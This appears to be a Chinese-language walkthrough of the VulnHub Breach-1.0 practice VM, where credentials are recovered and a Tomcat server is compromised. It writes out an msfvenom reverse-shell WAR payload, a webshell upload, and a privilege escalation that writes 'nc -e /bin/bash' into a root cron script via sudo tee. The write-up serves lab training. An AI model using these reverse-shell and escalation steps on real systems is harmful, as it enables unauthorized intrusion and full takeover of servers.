kali渗透综合靶机(十五)--Breach-1.0靶机
一、靶机下载
下载链接:https://download.vulnhub.com/breach/Breach-1.0.zip
二、Breach-1.0靶机搭建
将下载好的靶机环境,用VMware导入即可使用,文件->打开


导入到合适位置即可,默认是C盘,成功导入虚拟机之后,打开即可


三、攻击过程
VM虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为host-only方式组网。
kali IP:192.168.110.5
靶机IP:192.168.110.140
1、端口扫描
因IP地址固定,直接端口扫描

发现端口几乎全开放了,显然是有问题,虚拟机对端口扫描做了一些防护措施,直接访问80端口,进入web首页:http://192.168.110.140/

查看页面源码发现一串疑似base64加密的字符串

将其复制到Burpsuite Decoder进行base64解码,解密后发现还是base64编码,继续base64解码,得到:pgibbons:damnitfeel
g
o
o
d
t
o
b
e
a
g
a
n
g
goodtobeagang
goodtobeagangta


发现图中的图片点击后就会跳转,跳转后如下图

查看页面源码,发现如下提示

尝试发现页面是否有有用的信息,发现点击下图,跳转到impresscms登录界面

尝试使用之前base64解密出来的疑似用户名密码的字符串,成功登录,用户名/密码:pgibbons/damnitfeel
g
o
o
d
t
o
b
e
a
g
a
n
g
goodtobeagang
goodtobeagangta

发现cms大致版本信息,搜索引擎搜索是否有相关的漏洞

exploit-db.com查找impress cms漏洞:发现ImpressCMS 1.3.9 SQL注入漏洞, /modules/profile/admin/field.php,访问该页面一直302跳转,无法进行注入

发现收件箱Inbox显示有3封邮件,依次打开看

第三个邮件发现有一个文件被保存在192.168.110.140/.keystore

访问http://192.168.110.140/.keystore立马下载文件,下载包含SSL证书的密钥库keystore文件,keystore是存储公私密钥的一种文件格式

点击View Account菜单进入界面,再依次点击页面的Content,会弹出一行链接Content SSL implementation test capture,点击链接


点击完上图的链接,跳转到如下界面,可以看到一个名为:_SSL_test_phase1.pcap的Wireshark流量包文件,下载


用wireshark打开下载的pacp包,发现是包的内容经过SSL加密

查看keystore这个密匙库里面的所有证书
密码为tomcat


keytool工具使用方法详情:https://www.iteye.com/blog/bjyzxxds-1052826
从密钥库导出.p12证书:

默认打开流量包,发现很多TLS的

将.p12证书导入wireshark
在Wireshark中打开_SSL_test_phase1.pcap流量包文件,选择菜单:编辑–首选项–Protocols–SSL,点击右边的Edit
//最新版wireshark已经 把ssl 改为 tls,其实ssl/tls都已统称通信加密协议,所以就放一块了:

注意:wireshark查看HTTPS数据包教程:http://www.dengb.com/bxjc/1369110.html
因为数据包中是8443端口,所以设置8443端口
导入ssl证书之后,部分TLS会变成http如下图

查看http数据包发现如下

访问https://192.168.110.140:8443/_M@nag3Me/html发现谷歌火狐浏览器均不能访问成功,因此开了burpsuite代理之后,访问成功了,发现是tomcat管理页面,需要登录

发现tomcat采用采用http basic认证,认证数据包如下,wireshark自动解密tomcat:Tt\5D8F(#!*u=G)4m7zB

成功登录

Tomcat后台get shell是有标准姿势的,将caidao.jsp压缩成caidao.zip压缩包,再将zip压缩包将扩展名改为caidao.war,将war包上传部署即可:

菜刀链接失败, 发现的问题:上传的菜刀马,一会儿就会消失,文件被删除,需要重新上传war包才能够继续使用菜刀,主机可能有杀软或者杀web shell工具。解决方法:bash反弹一个shell出来
msf生成一个war格式的反弹shell
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.5 lport=6666 -f war -o test.war

msf开启监听 use exploit/multi/handler


tomcat后台上传test.war文件

访问https://192.168.110.140:8443/test/,等几秒,kali获得反弹shell

python -c ‘import pty;pty.spawn("/bin/bash")’

拿到shell之后,接下来便是提权了,收集主机信息,发现没有内核提权,在/etc/passwd发现milton 和 blumbergh用户

在网站发现如下内容

查看发现如下内容

登录mysql数据库,发现milton的密码


解密 用户名密码milton/thelaststraw

登录milton,查看是否属于sudo组,没有什么发现

接着查看历史命令,查找有价值的线索,看到历史命令su提权到了blumbergh用户。
需要找到blumbergh用户的密码。
在http://192.168.110.140/images/目录下发现六张图片

将图片复制到kali linux,使用strings打印各图片其中的可打印字符,追加输出到images.txt,在vim下查看,密码在bill.png图片中,密码为coffeestains


登录blumbergh

查看历史命令,发现/usr/share/cleanup和tidyup.sh脚本文件:

读取tidyup.sh脚本分析:

cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf
这是一段清理脚本,描述中说明每3分钟执行清理,删除webapps目录下的文件,因此之前上传的菜刀马总是被删除,需要重新上传。查看tidyup.sh的权限,对该脚本没有写入权限,只有root可以

查看sudo权限,执行sudo -l:

发现用户能够以root权限执行这tee程序或tidyup.sh脚本:/usr/bin/tee和/usr/share/cleanup/tidyup.sh
tee命令用于读取标准输入的数据,并将其内容输出成文件。tidyup.sh是清理脚本。

向tidyup.sh中写入反弹shell命令
tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:
echo “nc -e /bin/bash 192.168.110.5 5555” > shell.txt
再使用tee命令将shell.txt内容输出到tidyup.sh
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
查看tidyup.sh文件写入成功:
cat /usr/share/cleanup/tidyup.sh

经测试发现,只有在/home/blumbergh这个用户的目录下,才可以执行这三行命令,其余目录都提示没有执行权限,而且在切换账户时得加上su -。
su命令和su -命令区别:
su只是切换了root身份,但Shell环境仍然是普通用户的Shell;而su -连用户和Shell环境一起切换成root身份了。
具体参考:https://www.cnblogs.com/dalaoban/p/9500353.html


更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。
